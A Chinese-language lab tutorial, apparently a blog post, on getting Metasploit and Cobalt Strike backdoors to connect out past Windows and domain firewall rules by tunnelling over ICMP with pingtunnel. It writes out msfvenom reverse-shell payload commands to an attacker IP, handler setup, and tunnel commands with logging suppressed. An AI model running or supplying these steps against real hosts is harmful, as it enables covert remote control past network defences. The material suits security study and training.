目录
基础知识
单机-防火墙-限制协议出入站
域控-防火墙-组策略对象同步
域控-防火墙-组策略不出网上线
基础知识
-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
主要了解
1、判断什么时候用代理
2、判断什么时候用隧道
3、判断出网和不出网协议
4、如何使用代理建立节点并连接
5、如何使用隧道技术封装协议上线
6、判断哪些代理或隧道情况选择放弃
首先了解什么是防火墙?
随便打开一个虚拟机防火墙可以发现有入站规则和出站规则
从字面意思应该就能理解了入站就是外部消息的输入到主机,出站就是主机应用向外部发送请求
举俩个例子
1.防火墙服务器搭建一个web服务
有个人去访问了这个web服务,属于入站还是出站
当然是出站
2.防火墙上有个后门,现在执行后门,是出站还是入站,还是俩个都要
答案是俩个都,因为正反向连接的问题
单机-防火墙-限制协议出入站
注意当在windows上开启web服务时,关闭windows地公网防火墙,开启专用网络防火墙,外部主机是可以访问web服务的,但是当开启公网防火墙时,外部主机是无法访问web服务的
步入正题
首先kali生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=6688 -f exe > swq.exe
注意这里是
reverse是反向
bind是正向
kali设置监听
接着到windows下运行swq.exe文件,发现可以成功上线
但是如果我们给windows防火墙加规则
注意我们之前配的后面是reverse是反向,是后面主动连接被控服务器,需要配置出站规则
如果是bind是正向,服务器主动连接被控主机,需要配置入站规则来防止监听
接下来配置规则,控制面板到如图位置,点击高级设置
点击出站规则,新建规则,端口
端口6688
操作阻止连接
配置全勾上
名称随意,先禁用规则看是否可以上线
可以上线
启用规则
无法上线
其他方法上线
1.改变监听端口
2.更改协议除了防火墙阻止的tcp协议,还有其他协议,例如icmp
可以看如下的协议和osi每个层次对应的协议
如果禁用了tcp是不能通过http、ftp等协议来连接后门,因为http是基于tcp的,只能向下兼容
可以使用ICMP
域控-防火墙-组策略对象同步
熟悉常见主机配置不出网的操作流程
操作:组策略管理-域-创建GPO链接-防火墙设置
点击编辑,找到高级安全配置,右击属性,域、专用、公用全部关闭。
更新策略:强制&命令&重启
1.fhq右击有强制选项,就是不管你更不更新,强制统一
2.命令
命令:gpupdate/force
到更新域主机下执行这个命令,会更新防火墙
比如,一开始这台域主机是防火墙是全开
然后在这台域主机的cmd下运行上面命令
现在再去看这台域主机的防火墙状态,全部关闭
3.重启后会自动更新
域控-防火墙-组策略不出网上线
背景介绍:域控通过组策略设置防火墙规则同步后,域内用户主机被限制TCP出网,其
中规则为出站规则,安全研究者通过入站取得SHELL权限,需要对其进行上线控制。
思路:正向连接&隧道技术
如果是入站被限制呢?反向连接&隧道技术也可以解决(前提看限制的多不多)
情况一:
主机出站TCP被封杀,入站没有,无互联网网络
正向连接(取得一台有网络的能和主机通讯的服务器权限 他有网)把数据给出网的机器,通过出网机器正向主动控制他
就是通过一个有网的域内机器,去正向连接那个没网的域内机器,去获取到数据,让有网的机器去传出
情况二:
主机出站TCP封杀,入站没有,有互联网网络
1.正向连接(取得一台有网络的能和主机通讯的服务器权限 他有网)
2.隧道技术(走其他协议出网即可)
隧道技术原理:将TCP协议数据封装成ICMP协议数据,具体操作就是,先将tcp引入靶机本地,然后通过隧道工具换成ICMP数据传到服务器上,注意前提是已经拿到目标靶机的shell,但是因为出规则,而受到网络限制,隧道不是横向移动
隧道转ICMP工具
GitHub - esrrhs/spp: A simple and powerful proxy
GitHub - bdamele/icmpsh: Simple reverse ICMP shell
GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
实操
1.msf隧道ICMP上线
首先msf生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1
lport=3333 -f exe > hhh.exe
然后msf启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
kali开启隧道
./pingtunnel -type server
然后靶机上运行,注意要用管理员运行cmd
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.23.128 -t 192.168.23.128:4444 -tcp 1 -noprint 1 -nolog 1
然后运行hhh.exe文件
可以看到成功上线
2.CS隧道ICMP上线
先启动cs
配置监听器,为什么就不多说了
监听器1:127.0.0.1 5555
监听器2:192.168.23.128 6666
在启动cs的服务器上运行
./pingtunnel -type server
生成后门,用这个stageless文件
监听用127.0.0.1的监听器
靶机上:(管理器运行)
pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.23.128 -t 192.168.23.128:6666 -tcp 1 -noprint 1 -nolog 1
然后运行后门成功上线
未完待续,如果喜欢可以等待隧道技术和代理技术(二)